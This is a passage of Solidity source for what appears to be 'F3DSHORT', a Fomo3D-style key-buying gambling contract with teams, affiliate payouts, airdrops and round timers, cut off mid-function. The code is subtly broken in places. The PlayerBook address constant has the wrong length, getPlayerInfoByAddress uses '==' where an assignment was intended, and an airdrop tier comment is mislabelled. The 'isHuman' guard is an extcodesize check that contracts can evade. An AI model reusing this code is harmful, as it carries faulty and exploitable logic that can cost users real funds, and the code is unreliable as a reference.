// (fomo3d short only) fired whenever a player tries a buy after round timer
// hit zero, and causes end round to be ran.
event onBuyAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 ethIn,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
// (fomo3d short only) fired whenever a player tries a reload after round timer
// hit zero, and causes end round to be ran.
event onReLoadAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
// fired whenever an affiliate is paid
event onAffiliatePayout
(
uint256 indexed affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 indexed roundID,
uint256 indexed buyerID,
uint256 amount,
uint256 timeStamp
);
// received pot swap deposit
event onPotSwapDeposit
(
uint256 roundID,
uint256 amountAddedToPot
);
}
//==============================================================================
// _ _ _ _|_ _ _ __|_ _ _ _|_ _ .
// (_(_)| | | | (_|(_ | _\(/_ | |_||_) .
//====================================|=========================================
contract modularShort is F3Devents {}
contract F3DSHORT is modularShort {
using SafeMath for *;
using NameFilter for string;
using F3DKeysCalcShort for uint256;
PlayerBookInterface constant private PlayerBook = PlayerBookInterface(0x004f29f33530cfa4a9f10e1a83ca4063ce96df7149);
//==============================================================================
// _ _ _ |`. _ _ _ |_ | _ _ .
// (_(_)| |~|~|(_||_|| (_||_)|(/__\ . (game settings)
//=================_|===========================================================
address private admin = msg.sender;
string constant public name = "F3DSHORT";
string constant public symbol = "F3DSHORT";
uint256 private rndExtra_ = 0; // length of the very first ICO
uint256 private rndGap_ = 8 minutes; // length of ICO phase, set to 1 year for EOS.
uint256 constant private rndInit_ = 42 minutes; // round timer starts at this
uint256 constant private rndInc_ = 10 seconds; // every full key purchased adds this much to the timer
uint256 constant private rndMax_ = 40 minutes; // max length a round timer can be
//==============================================================================
// _| _ _|_ _ _ _ _|_ _ .
// (_|(_| | (_| _\(/_ | |_||_) . (data used to store game info that changes)
//=============================|================================================
uint256 public airDropPot_; // person who gets the airdrop wins part of this pot
uint256 public airDropTracker_ = 0; // incremented each time a "qualified" tx occurs. used to determine winning air drop
uint256 public rID_; // round id number / total rounds that have happened
//****************
// PLAYER DATA
//****************
mapping (address => uint256) public pIDxAddr_; // (addr => pID) returns player id by address
mapping (bytes32 => uint256) public pIDxName_; // (name => pID) returns player id by name
mapping (uint256 => F3Ddatasets.Player) public plyr_; // (pID => data) player data
mapping (uint256 => mapping (uint256 => F3Ddatasets.PlayerRounds)) public plyrRnds_; // (pID => rID => data) player round data by player id & round id
mapping (uint256 => mapping (bytes32 => bool)) public plyrNames_; // (pID => name => bool) list of names a player owns. (used so you can change your display name amongst any name you own)
//****************
// ROUND DATA
//****************
mapping (uint256 => F3Ddatasets.Round) public round_; // (rID => data) round data
mapping (uint256 => mapping(uint256 => uint256)) public rndTmEth_; // (rID => tID => data) eth in per team, by round id and team id
//****************
// TEAM FEE DATA
//****************
mapping (uint256 => F3Ddatasets.TeamFee) public fees_; // (team => fees) fee distribution by team
mapping (uint256 => F3Ddatasets.PotSplit) public potSplit_; // (team => fees) pot split distribution by team
//==============================================================================
// _ _ _ __|_ _ __|_ _ _ .
// (_(_)| |_\ | | |_|(_ | (_)| . (initial data setup upon contract deploy)
//==============================================================================
constructor()
public
{
// Team allocation structures
// 0 = whales
// 1 = bears
// 2 = sneks
// 3 = bulls
// Team allocation percentages
// (F3D, P3D) + (Pot , Referrals, Community)
// Referrals / Community rewards are mathematically designed to come from the winner's share of the pot.
fees_[0] = F3Ddatasets.TeamFee(22,6); //50% to pot, 10% to aff, 2% to com, 1% to pot swap, 1% to air drop pot
fees_[1] = F3Ddatasets.TeamFee(38,0); //43% to pot, 10% to aff, 2% to com, 1% to pot swap, 1% to air drop pot
fees_[2] = F3Ddatasets.TeamFee(52,10); //20% to pot, 10% to aff, 2% to com, 1% to pot swap, 1% to air drop pot
fees_[3] = F3Ddatasets.TeamFee(68,8); //35% to pot, 10% to aff, 2% to com, 1% to pot swap, 1% to air drop pot
// how to split up the final pot based on which team was picked
// (F3D, P3D)
potSplit_[0] = F3Ddatasets.PotSplit(15,10); //48% to winner, 25% to next round, 2% to com
potSplit_[1] = F3Ddatasets.PotSplit(25,0); //48% to winner, 25% to next round, 2% to com
potSplit_[2] = F3Ddatasets.PotSplit(20,20); //48% to winner, 10% to next round, 2% to com
potSplit_[3] = F3Ddatasets.PotSplit(30,10); //48% to winner, 10% to next round, 2% to com
}
//==============================================================================
// _ _ _ _|. |`. _ _ _ .
// | | |(_)(_||~|~|(/_| _\ . (these are safety checks)
//==============================================================================
/**
* @dev used to make sure no one can interact with contract until it has
* been activated.
*/
modifier isActivated() {
require(activated_ == true, "its not ready yet. check ?eta in discord");
_;
}
/**
* @dev prevents contracts from interacting with fomo3d
*/
modifier isHuman() {
address _addr = msg.sender;
uint256 _codeLength;
assembly {_codeLength := extcodesize(_addr)}
require(_codeLength == 0, "sorry humans only");
_;
}
/**
* @dev sets boundaries for incoming tx
*/
modifier isWithinLimits(uint256 _eth) {
require(_eth >= 1000000000, "pocket lint: not a valid currency");
require(_eth <= 100000000000000000000000, "no vitalik, no");
_;
}
//==============================================================================
// _ |_ |. _ |` _ __|_. _ _ _ .
// |_)|_||_)||(_ ~|~|_|| |(_ | |(_)| |_\ . (use these to interact with contract)
//====|=========================================================================
/**
* @dev emergency buy uses last stored affiliate ID and team snek
*/
function()
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
// set up our tx event data and determine if player is new or not
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
// fetch player id
uint256 _pID = pIDxAddr_[msg.sender];
// buy core
buyCore(_pID, plyr_[_pID].laff, 2, _eventData_);
}
/**
* @dev converts all incoming ethereum to keys.
* -functionhash- 0x8f38f309 (using ID for affiliate)
* -functionhash- 0x98a0871d (using address for affiliate)
* -functionhash- 0xa65b37a1 (using name for affiliate)
* @param _affCode the ID/address/name of the player who gets the affiliate fee
* @param _team what team is the player playing for?
*/
function buyXid(uint256 _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
// set up our tx event data and determine if player is new or not
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
// fetch player id
uint256 _pID = pIDxAddr_[msg.sender];
// manage affiliate residuals
// if no affiliate code was given or player tried to use their own, lolz
if (_affCode == 0 || _affCode == _pID)
{
// use last stored affiliate code
_affCode = plyr_[_pID].laff;
// if affiliate code was given & its not the same as previously stored
} else if (_affCode != plyr_[_pID].laff) {
// update last affiliate
plyr_[_pID].laff = _affCode;
}
// verify a valid team was selected
_team = verifyTeam(_team);
// buy core
buyCore(_pID, _affCode, _team, _eventData_);
}
function buyXaddr(address _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
// set up our tx event data and determine if player is new or not
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
// fetch player id
uint256 _pID = pIDxAddr_[msg.sender];
// manage affiliate residuals
uint256 _affID;
// if no affiliate code was given or player tried to use their own, lolz
if (_affCode == address(0) || _affCode == msg.sender)
{
// use last stored affiliate code
_affID = plyr_[_pID].laff;
// if affiliate code was given
} else {
// get affiliate ID from aff Code
_affID = pIDxAddr_[_affCode];
// if affID is not the same as previously stored
if (_affID != plyr_[_pID].laff)
{
// update last affiliate
plyr_[_pID].laff = _affID;
}
}
// verify a valid team was selected
_team = verifyTeam(_team);
// buy core
buyCore(_pID, _affID, _team, _eventData_);
}
function buyXname(bytes32 _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
// set up our tx event data and determine if player is new or not
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
// fetch player id
uint256 _pID = pIDxAddr_[msg.sender];
// manage affiliate residuals
uint256 _affID;
// if no affiliate code was given or player tried to use their own, lolz
if (_affCode == '' || _affCode == plyr_[_pID].name)
{
// use last stored affiliate code
_affID = plyr_[_pID].laff;
// if affiliate code was given
} else {
// get affiliate ID from aff Code
_affID = pIDxName_[_affCode];
// if affID is not the same as previously stored
if (_affID != plyr_[_pID].laff)
{
// update last affiliate
plyr_[_pID].laff = _affID;
}
}
// verify a valid team was selected
_team = verifyTeam(_team);
// buy core
buyCore(_pID, _affID, _team, _eventData_);
}
/**
* @dev essentially the same as buy, but instead of you sending ether
* from your wallet, it uses your unwithdrawn earnings.
* -functionhash- 0x349cdcac (using ID for affiliate)
* -functionhash- 0x82bfc739 (using address for affiliate)
* -functionhash- 0x079ce327 (using name for affiliate)
* @param _affCode the ID/address/name of the player who gets the affiliate fee
* @param _team what team is the player playing for?
* @param _eth amount of earnings to use (remainder returned to gen vault)
*/
function reLoadXid(uint256 _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
// set up our tx event data
F3Ddatasets.EventReturns memory _eventData_;
// fetch player ID
uint256 _pID = pIDxAddr_[msg.sender];
// manage affiliate residuals
// if no affiliate code was given or player tried to use their own, lolz
if (_affCode == 0 || _affCode == _pID)
{
// use last stored affiliate code
_affCode = plyr_[_pID].laff;
// if affiliate code was given & its not the same as previously stored
} else if (_affCode != plyr_[_pID].laff) {
// update last affiliate
plyr_[_pID].laff = _affCode;
}
// verify a valid team was selected
_team = verifyTeam(_team);
// reload core
reLoadCore(_pID, _affCode, _team, _eth, _eventData_);
}
function reLoadXaddr(address _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
// set up our tx event data
F3Ddatasets.EventReturns memory _eventData_;
// fetch player ID
uint256 _pID = pIDxAddr_[msg.sender];
// manage affiliate residuals
uint256 _affID;
// if no affiliate code was given or player tried to use their own, lolz
if (_affCode == address(0) || _affCode == msg.sender)
{
// use last stored affiliate code
_affID = plyr_[_pID].laff;
// if affiliate code was given
} else {
// get affiliate ID from aff Code
_affID = pIDxAddr_[_affCode];
// if affID is not the same as previously stored
if (_affID != plyr_[_pID].laff)
{
// update last affiliate
plyr_[_pID].laff = _affID;
}
}
// verify a valid team was selected
_team = verifyTeam(_team);
// reload core
reLoadCore(_pID, _affID, _team, _eth, _eventData_);
}
function reLoadXname(bytes32 _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
// set up our tx event data
F3Ddatasets.EventReturns memory _eventData_;
// fetch player ID
uint256 _pID = pIDxAddr_[msg.sender];
// manage affiliate residuals
uint256 _affID;
// if no affiliate code was given or player tried to use their own, lolz
if (_affCode == '' || _affCode == plyr_[_pID].name)
{
// use last stored affiliate code
_affID = plyr_[_pID].laff;
// if affiliate code was given
} else {
// get affiliate ID from aff Code
_affID = pIDxName_[_affCode];
// if affID is not the same as previously stored
if (_affID != plyr_[_pID].laff)
{
// update last affiliate
plyr_[_pID].laff = _affID;
}
}
// verify a valid team was selected
_team = verifyTeam(_team);
// reload core
reLoadCore(_pID, _affID, _team, _eth, _eventData_);
}
/**
* @dev withdraws all of your earnings.
* -functionhash- 0x3ccfd60b
*/
function withdraw()
isActivated()
isHuman()
public
{
// setup local rID
uint256 _rID = rID_;
// grab time
uint256 _now = now;
// fetch player ID
uint256 _pID = pIDxAddr_[msg.sender];
// setup temp var for player eth
uint256 _eth;
// check to see if round has ended and no one has run round end yet
if (_now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0)
{
// set up our tx event data
F3Ddatasets.EventReturns memory _eventData_;
// end the round (distributes pot)
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
// get their earnings
_eth = withdrawEarnings(_pID);
// gib moni
if (_eth > 0)
plyr_[_pID].addr.transfer(_eth);
// build event data
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
// fire withdraw and distribute event
emit F3Devents.onWithdrawAndDistribute
(
msg.sender,
plyr_[_pID].name,
_eth,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
// in any other situation
} else {
// get their earnings
_eth = withdrawEarnings(_pID);
// gib moni
if (_eth > 0)
plyr_[_pID].addr.transfer(_eth);
// fire withdraw event
emit F3Devents.onWithdraw(_pID, msg.sender, plyr_[_pID].name, _eth, _now);
}
}
/**
* @dev use these to register names. they are just wrappers that will send the
* registration requests to the PlayerBook contract. So registering here is the
* same as registering there. UI will always display the last name you registered.
* but you will still own all previously registered names to use as affiliate
* links.
* - must pay a registration fee.
* - name must be unique
* - names will be converted to lowercase
* - name cannot start or end with a space
* - cannot have more than 1 space in a row
* - cannot be only numbers
* - cannot start with 0x
* - name must be at least 1 char
* - max length of 32 characters long
* - allowed characters: a-z, 0-9, and space
* -functionhash- 0x921dec21 (using ID for affiliate)
* -functionhash- 0x3ddd4698 (using address for affiliate)
* -functionhash- 0x685ffd83 (using name for affiliate)
* @param _nameString players desired name
* @param _affCode affiliate ID, address, or name of who referred you
* @param _all set to true if you want this to push your info to all games
* (this might cost a lot of gas)
*/
function registerNameXID(string _nameString, uint256 _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXIDFromDapp.value(_paid)(_addr, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
// fire event
emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function registerNameXaddr(string _nameString, address _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXaddrFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
// fire event
emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function registerNameXname(string _nameString, bytes32 _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXnameFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
// fire event
emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
//==============================================================================
// _ _ _|__|_ _ _ _ .
// (_|(/_ | | (/_| _\ . (for UI & viewing things on etherscan)
//=====_|=======================================================================
/**
* @dev return the price buyer will pay for next 1 individual key.
* -functionhash- 0x018a25e8
* @return price for next key bought (in wei format)
*/
function getBuyPrice()
public
view
returns(uint256)
{
// setup local rID
uint256 _rID = rID_;
// grab time
uint256 _now = now;
// are we in a round?
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].keys.add(1000000000000000000)).ethRec(1000000000000000000) );
else // rounds over. need price for new round
return ( 75000000000000 ); // init
}
/**
* @dev returns time left. dont spam this, you'll ddos yourself from your node
* provider
* -functionhash- 0xc7e284b8
* @return time left in seconds
*/
function getTimeLeft()
public
view
returns(uint256)
{
// setup local rID
uint256 _rID = rID_;
// grab time
uint256 _now = now;
if (_now < round_[_rID].end)
if (_now > round_[_rID].strt + rndGap_)
return( (round_[_rID].end).sub(_now) );
else
return( (round_[_rID].strt + rndGap_).sub(_now) );
else
return(0);
}
/**
* @dev returns player earnings per vaults
* -functionhash- 0x63066434
* @return winnings vault
* @return general vault
* @return affiliate vault
*/
function getPlayerVaults(uint256 _pID)
public
view
returns(uint256 ,uint256, uint256)
{
// setup local rID
uint256 _rID = rID_;
// if round has ended. but round end has not been run (so contract has not distributed winnings)
if (now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0)
{
// if player is winner
if (round_[_rID].plyr == _pID)
{
return
(
(plyr_[_pID].win).add( ((round_[_rID].pot).mul(48)) / 100 ),
(plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ),
plyr_[_pID].aff
);
// if player is not the winner
} else {
return
(
plyr_[_pID].win,
(plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ),
plyr_[_pID].aff
);
}
// if round is still going on, or round has ended and round end has been ran
} else {
return
(
plyr_[_pID].win,
(plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)),
plyr_[_pID].aff
);
}
}
/**
* solidity hates stack limits. this lets us avoid that hate
*/
function getPlayerVaultsHelper(uint256 _pID, uint256 _rID)
private
view
returns(uint256)
{
return( ((((round_[_rID].mask).add(((((round_[_rID].pot).mul(potSplit_[round_[_rID].team].gen)) / 100).mul(1000000000000000000)) / (round_[_rID].keys))).mul(plyrRnds_[_pID][_rID].keys)) / 1000000000000000000) );
}
/**
* @dev returns all current round info needed for front end
* -functionhash- 0x747dff42
* @return eth invested during ICO phase
* @return round id
* @return total keys for round
* @return time round ends
* @return time round started
* @return current pot
* @return current team ID & player ID in lead
* @return current player in leads address
* @return current player in leads name
* @return whales eth in for round
* @return bears eth in for round
* @return sneks eth in for round
* @return bulls eth in for round
* @return airdrop tracker # & airdrop pot
*/
function getCurrentRoundInfo()
public
view
returns(uint256, uint256, uint256, uint256, uint256, uint256, uint256, address, bytes32, uint256, uint256, uint256, uint256, uint256)
{
// setup local rID
uint256 _rID = rID_;
return
(
round_[_rID].ico, //0
_rID, //1
round_[_rID].keys, //2
round_[_rID].end, //3
round_[_rID].strt, //4
round_[_rID].pot, //5
(round_[_rID].team + (round_[_rID].plyr * 10)), //6
plyr_[round_[_rID].plyr].addr, //7
plyr_[round_[_rID].plyr].name, //8
rndTmEth_[_rID][0], //9
rndTmEth_[_rID][1], //10
rndTmEth_[_rID][2], //11
rndTmEth_[_rID][3], //12
airDropTracker_ + (airDropPot_ * 1000) //13
);
}
/**
* @dev returns player info based on address. if no address is given, it will
* use msg.sender
* -functionhash- 0xee0b5d8b
* @param _addr address of the player you want to lookup
* @return player ID
* @return player name
* @return keys owned (current round)
* @return winnings vault
* @return general vault
* @return affiliate vault
* @return player round eth
*/
function getPlayerInfoByAddress(address _addr)
public
view
returns(uint256, bytes32, uint256, uint256, uint256, uint256, uint256)
{
// setup local rID
uint256 _rID = rID_;
if (_addr == address(0))
{
_addr == msg.sender;
}
uint256 _pID = pIDxAddr_[_addr];
return
(
_pID, //0
plyr_[_pID].name, //1
plyrRnds_[_pID][_rID].keys, //2
plyr_[_pID].win, //3
(plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)), //4
plyr_[_pID].aff, //5
plyrRnds_[_pID][_rID].eth //6
);
}
//==============================================================================
// _ _ _ _ | _ _ . _ .
// (_(_)| (/_ |(_)(_||(_ . (this + tools + calcs + modules = our softwares engine)
//=====================_|=======================================================
/**
* @dev logic runs whenever a buy order is executed. determines how to handle
* incoming eth depending on if we are in an active round or not
*/
function buyCore(uint256 _pID, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
{
// setup local rID
uint256 _rID = rID_;
// grab time
uint256 _now = now;
// if round is active
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
{
// call core
core(_rID, _pID, msg.value, _affID, _team, _eventData_);
// if round is not active
} else {
// check to see if end round needs to be ran
if (_now > round_[_rID].end && round_[_rID].ended == false)
{
// end the round (distributes pot) & start new round
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
// build event data
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
// fire buy and distribute event
emit F3Devents.onBuyAndDistribute
(
msg.sender,
plyr_[_pID].name,
msg.value,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
}
// put eth in players vault
plyr_[_pID].gen = plyr_[_pID].gen.add(msg.value);
}
}
/**
* @dev logic runs whenever a reload order is executed. determines how to handle
* incoming eth depending on if we are in an active round or not
*/
function reLoadCore(uint256 _pID, uint256 _affID, uint256 _team, uint256 _eth, F3Ddatasets.EventReturns memory _eventData_)
private
{
// setup local rID
uint256 _rID = rID_;
// grab time
uint256 _now = now;
// if round is active
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
{
// get earnings from all vaults and return unused to gen vault
// because we use a custom safemath library. this will throw if player
// tried to spend more eth than they have.
plyr_[_pID].gen = withdrawEarnings(_pID).sub(_eth);
// call core
core(_rID, _pID, _eth, _affID, _team, _eventData_);
// if round is not active and end round needs to be ran
} else if (_now > round_[_rID].end && round_[_rID].ended == false) {
// end the round (distributes pot) & start new round
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
// build event data
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
// fire buy and distribute event
emit F3Devents.onReLoadAndDistribute
(
msg.sender,
plyr_[_pID].name,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
}
}
/**
* @dev this is the core logic for any buy/reload that happens while a round
* is live.
*/
function core(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
{
// if player is new to round
if (plyrRnds_[_pID][_rID].keys == 0)
_eventData_ = managePlayer(_pID, _eventData_);
// early round eth limiter
if (round_[_rID].eth < 100000000000000000000 && plyrRnds_[_pID][_rID].eth.add(_eth) > 1000000000000000000)
{
uint256 _availableLimit = (1000000000000000000).sub(plyrRnds_[_pID][_rID].eth);
uint256 _refund = _eth.sub(_availableLimit);
plyr_[_pID].gen = plyr_[_pID].gen.add(_refund);
_eth = _availableLimit;
}
// if eth left is greater than min eth allowed (sorry no pocket lint)
if (_eth > 1000000000)
{
// mint the new keys
uint256 _keys = (round_[_rID].eth).keysRec(_eth);
// if they bought at least 1 whole key
if (_keys >= 1000000000000000000)
{
updateTimer(_keys, _rID);
// set new leaders
if (round_[_rID].plyr != _pID)
round_[_rID].plyr = _pID;
if (round_[_rID].team != _team)
round_[_rID].team = _team;
// set the new leader bool to true
_eventData_.compressedData = _eventData_.compressedData + 100;
}
// manage airdrops
if (_eth >= 100000000000000000)
{
airDropTracker_++;
if (airdrop() == true)
{
// gib muni
uint256 _prize;
if (_eth >= 10000000000000000000)
{
// calculate prize and give it to winner
_prize = ((airDropPot_).mul(75)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
// adjust airDropPot
airDropPot_ = (airDropPot_).sub(_prize);
// let event know a tier 3 prize was won
_eventData_.compressedData += 300000000000000000000000000000000;
} else if (_eth >= 1000000000000000000 && _eth < 10000000000000000000) {
// calculate prize and give it to winner
_prize = ((airDropPot_).mul(50)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
// adjust airDropPot
airDropPot_ = (airDropPot_).sub(_prize);
// let event know a tier 2 prize was won
_eventData_.compressedData += 200000000000000000000000000000000;
} else if (_eth >= 100000000000000000 && _eth < 1000000000000000000) {
// calculate prize and give it to winner
_prize = ((airDropPot_).mul(25)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
// adjust airDropPot
airDropPot_ = (airDropPot_).sub(_prize);
// let event know a tier 3 prize was won
_eventData_.compressedData += 300000000000000000000000000000000;
}
// set airdrop happened bool to true
_eventData_.compressedData += 10000000000000000000000000000000;
// let event know how much was won
_eventData_.compressedData += _prize * 1000000000000000000000000000000000;
// reset air drop tracker
airDropTracker_ = 0;
}
}
// store the air drop tracker number (number of buys since last airdrop)
_eventData_.compressedData = _eventData_.compressedData + (airDropTracker_ * 1000);
// update player
plyrRnds_[_pID][_rID].keys = _keys.add(plyrRnds_[_pID][_rID].keys);
plyrRnds_[_pID][_rID].eth = _eth.add(plyrRnds_[_pID][_rID].eth);
// update round
round_[_rID].keys = _keys.add(round_[_rID].keys);
round_[_rID].eth = _eth.add(round_[_rID].eth);
rndTmEth_[_rID][_team] = _eth.add(rndTmEth_[_rID][_team]);
// distribute eth
_eventData_ = distributeExternal(_rID, _pID, _eth, _affID, _team, _eventData_);
_eventData_ = distributeInternal(_rID, _pID, _eth, _team, _keys, _eventData_);
// call end tx function to fire end tx event.
endTx(_pID, _team, _eth, _keys, _eventData_);
}
}
//==============================================================================
// _ _ | _ | _ _|_ _ _ _ .
// (_(_||(_|_||(_| | (_)| _\ .
//==============================================================================
/**
* @dev calculates unmasked earnings (just calculates, does not update mask)
* @return earnings in wei format
*/
function calcUnMaskedEarnings(uint256 _pID, uint256 _rIDlast)
private
view
returns(uint256)
{
return( (((round_[_rIDlast].mask).mul(plyrRnds_[_pID][_rIDlast].keys)) / (1000000000000000000)).sub(plyrRnds_[_pID][_rIDlast].mask) );
}
/**
* @dev returns the amount of keys you would get given an amount of eth.
* -functionhash- 0xce89c80c
* @param _rID round ID you want price for
* @param _eth amount of eth sent in
* @return keys received
*/
function calcKeysReceived(uint256 _rID, uint256 _eth)
public
view
returns(uint256)
{
// grab time
uint256 _now = now;
// are we in a round?
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].eth).keysRec(_eth) );
else // rounds over. need keys for new round
return ( (_eth).keys() );
}
/**
* @dev returns current eth price for X keys.
* -functionhash- 0xcf808000
* @param _keys number of keys desired (in 18 decimal format)
* @return amount of eth needed to send
*/
function iWantXKeys(uint256 _keys)
public
view
returns(uint256)
{
// setup local rID
uint256 _rID = rID_;
// grab time
uint256 _now = now;
// are we in a round?
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].keys.add(_keys)).ethRec(_keys) );
else // rounds over. need price for new round
return ( (_keys).eth() );
}
//==============================================================================
// _|_ _ _ | _ .
// | (_)(_)|_\ .
//==============================================================================
/**
* @dev receives name/player info from names contract
*/
function receivePlayerInfo(uint256 _pID, address _addr, bytes32 _name, uint256 _laff)
external
{
require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm..");
if (pIDxAddr_[_addr] != _pID)
pIDxAddr_[_addr] = _pID;
if (pIDxName_[_name] != _pID)
pIDxName_[_name] = _pID;
if (plyr_[_pID].addr != _addr)
plyr_[_pID].addr = _addr;
if (plyr_[_pID].name != _name)
plyr_[_pID].name = _name;
if (plyr_[_pID].laff != _laff)
plyr_[_pID].laff = _laff;
if (plyrNames_[_pID][_name] == false)
plyrNames_[_pID][_name] = true;
}
/**
* @dev receives entire player name list
*/
function receivePlayerNameList(uint256 _pID, bytes32 _name)
external
{
require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm..");
if(plyrNames_[_pID][_name] == false)
plyrNames_[_pID][_name] = true;
}
/**
* @dev gets existing or registers new pID. use this when a player may be new
* @return pID
*/
function determinePID(F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
uint256 _pID = pIDxAddr_[msg.sender];
// if player is new to this version of fomo3d
if (_pID == 0)
{
// grab their player ID, name and last aff ID, from player names contract
_pID = PlayerBook.getPlayerID(msg.sender);
bytes32 _name = PlayerBook.getPlayerName(_pID);
uint256 _laff = PlayerBook.getPlayerLAff(_pID);
// set up player account
pIDxAddr_[msg.sender] = _pID;
plyr_[_pID].addr = msg.sender;
if (_name != "")
{
pIDxName_[_name] = _pID;
plyr_[_pID].name = _name;
plyrNames_[_pID][_name] = true;
}
if (_laff != 0 && _laff != _pID)
plyr_[_pID].laff = _laff;
// set the new player bool to true
_eventData_.compressedData = _eventData_.compressedData + 1;
}
return (_eventData_);
}
/**
* @dev checks to make sure user picked a valid team. if not sets team
* to default (sneks)
*/
function verifyTeam(uint256 _team)
private
pure
returns (uint256)
{
if (_team < 0 || _team > 3)
return(2);
else
return(_team);
}
/**
* @dev decides if round end needs to be run & new round started. and if
* player unmasked earnings from previously played rounds need to be moved.
*/
function managePlayer(uint256 _pID, F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
// if player has played a previous round, move their unmasked earnings
// from that round to gen vault.
if (plyr_[_pID].lrnd != 0)
updateGenVault(_pID, plyr_[_pID].lrnd);
// update player's last round played
plyr_[_pID].lrnd = rID_;
// set the joined round bool to true
_eventData_.compressedData = _eventData_.compressedData + 10;
return(_eventData_);
}
/**
* @dev ends the round. manages paying out winner/splitting up pot
*/
function endRound(F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
// setup local rID
uint256 _rID = rID_;
// grab our winning player and team id's
uint256 _winPID = round_[_rID].plyr;
uint256 _winTID = round_[_rID].team;
// grab our pot amount
uint256 _pot = round_[_rID].pot;
// calculate our winner share, community rewards, gen share,
// p3d share, and amount reserved for next pot
uint256 _win = (_pot.mul(48)) / 100;
uint256 _com = (_pot / 50);
